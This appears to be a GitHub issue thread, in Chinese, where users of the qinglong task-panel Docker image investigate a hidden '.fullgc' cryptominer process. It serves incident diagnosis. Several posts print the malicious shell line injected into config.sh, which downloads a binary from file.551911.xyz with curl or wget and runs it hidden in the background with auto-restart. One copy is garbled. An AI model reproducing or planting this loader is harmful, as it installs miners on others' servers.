0

[insoxin]

0_No response_

[s1xu]

同，我刚才服务器也告警了，上去top发现

1. 发现异常进程

在宿主机 htop / ps 中发现异常进程：

root  2067656 ... /ql/data/db/.fullgc

特征：

• 隐藏文件名（. 开头）
• 多线程
• 高 CPU 占用（~85%）

2. 确认非java相关

jps -v                      # command not found
ps -ef | grep java          # 无输出

• 确认系统未安装 JDK，也未运行 Java 进程。

3. 定位到 qinglong 容器

[root@nc ~]$ ps -eLf | grep fullgc
root     2067656 1356905 2067656 85    7 10:54 ?        02:52:26 /ql/data/db/.fullgc
root     2067656 1356905 2067657  0    7 10:54 ?        00:00:02 /ql/data/db/.fullgc
root     2067656 1356905 2067658  0    7 10:54 ?        00:00:00 /ql/data/db/.fullgc
root     2067656 1356905 2067659  0    7 10:54 ?        00:00:00 /ql/data/db/.fullgc
root     2067656 1356905 2067660  0    7 10:54 ?        00:00:00 /ql/data/db/.fullgc
root     2067656 1356905 2067661  0    7 10:54 ?        00:00:00 /ql/data/db/.fullgc
root     2067656 1356905 2067686 85    7 10:54 ?        02:52:21 /ql/data/db/.fullgc
root     2136811 2135163 2136811  0    1 14:16 pts/0    00:00:00 grep fullgc

4. 停止 qinglong 容器后：

docker stop qinglong

现象：

• .fullgc 进程立即消失
• CPU 占用恢复正常
  确认该程序 来自 qinglong 容器内部。

5. 在宿主机挂载目录中发现可执行文件
   ls -la /root/ql/data/db

输出（关键）：
-rwxr-xr-x 1 root root 3077332 .fullgc
恶意下载与自启动逻辑
在宿主机文件中发现如下代码（/root/ql/data/config/config.sh）：

[root@nc ~]$  grep -R "fullgc" /root/ql 2>/dev/null
/root/ql/data/config/config.sh:d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;[ -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b"  >/dev/null 2>&1 &

d="${QL_DIR:-/ql}/data/db"
b="$d/.fullgc"


case "$(uname -s)-$(uname -m)" in
  Linux-x86_64|Linux-amd64)
    u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64"
    ;;
  Linux-aarch64|Linux-arm64)
    u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64"
    ;;
esac


[ -n "$u" ] && [ ! -f "$b" ] && {
  curl -fsSL -o "$b" "$u" || wget -qO "$b" "$u"
} && chmod +x "$b"


[ -f "$b" ] && ! ps -ef | grep -v grep | grep -qF ".fullgc" \
  && nohup "$b" >/dev/null 2>&1 &

该逻辑明确包含：

1. 从 非官方域名 下载二进制文件
2. 写入隐藏路径 .fullgc
3. 后台启动
4. 无日志输出
5. 自动重启（进程不存在就再次拉起）

版本：

$ docker inspect qinglong | grep -i "Image"
        "Image": "sha256:68215edd7f1f0a85d07ebcf611acdc34a4d6783219818a2a50bf12853d37aee5",
            "Image": "whyour/qinglong:latest",
                "org.opencontainers.image.created": "2025-12-26T13:20:13.457Z",
                "org.opencontainers.image.description": "支持 Python3、JavaScript、Shell、Typescript 的定时任务管理平台（Timed task management platform supporting Python3, JavaScript, Shell, Typescript）",
                "org.opencontainers.image.licenses": "Apache-2.0",
                "org.opencontainers.image.revision": "d53437d1695d22db266cea3b680d3d7663ce86a6",
                "org.opencontainers.image.source": "https://github.com/whyour/qinglong",
                "org.opencontainers.image.title": "qinglong",
                "org.opencontainers.image.url": "https://github.com/whyour/qinglong",
                "org.opencontainers.image.version": "latest"

[liujunxiang0076]

同，上面结果
在config.sh发现新增的修改，杀死进程后，CPU占用率恢复正常

[lq-259]

我也遇到了

[liuxy0551]

遇到了同样的问题，kill 后还是会启动，删除这个文件后还是会启动

[HiPeach]

我也同样遇到了问题
服务器Ubuntu24，近一周频繁出现.fullgc进程异常占用服务器CPU和内存导致过载。查询进程ID后，让deepseek写了个脚本分析，确认系青龙所致

此外阿里云还一直告警挖矿程序，控制台给出了相应分析，如下图

看到开发者有让Copilot尝试去修复，希望可以尽快解决问题

[lcyan]

好奇什么场景下，木马可以修改config.sh文件

[sevensevenmi]

大家是不是都是周六下午被黑的 都是可以公网访问的
d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;[ -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b" >/dev/null 2>&1 &

[HiPeach]

大家是不是都是周六下午被黑的 都是可以公网访问的
d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;[ -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b" >/dev/null 2>&1 &

没错，我第一次收到阿里云告警是2月7日星期六，不过是凌晨一点，服务器可以公网访问

[cdpidan]

我也是星期六下午17点左右，好奇什么场景下，木马可以修改config.sh文件

[sevensevenmi]

我也是星期六下午17点左右，好奇什么场景下，木马可以修改config.sh文件

目前推测是API 侵入修改的

[skka3134]

卧槽 原来不止我一个，那现在怎么解决

[lcyan]

大家是不是都是周六下午被黑的 都是可以公网访问的 d="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";case "$(uname -s)-$(uname -m)" in Linux-x86_64|Linux-amd64)u="[https://file.551911.xyz/fullgc/fullgc-linux-x86_64";;Linux-aarch64|Linux-arm64)u="https://file.551911.xyz/fullgc/fullgc-linux-aarch64";;Darwin-x86_64)u="https://file.551911.xyz/fullgc/fullgc-macos-x86_64";;Darwin-arm64)u="https://file.551911.xyz/fullgc/fullgc-macos-arm64";;esac;u=%22https://file.551911.xyz/fullgc/fullgc-linux-aarch64%22;;Darwin-x86_64)u=%22https://file.551911.xyz/fullgc/fullgc-macos-x86_64%22;;Darwin-arm64)u=%22https://file.551911.xyz/fullgc/fullgc-macos-arm64%22;;esac;%5B) -n "$u" ]&&[ ! -f "$b" ]&&{ curl -fsSL -o "$b" "$u"||wget -qO "$b" "$u"; }&&chmod +x "$b";[ -f "$b" ]&&! ps -ef|grep -v grep|grep -qF ".fullgc"&&nohup "$b" >/dev/null 2>&1 &

我看有的机器是好的，有的机器被植入了，都是公网可以访问的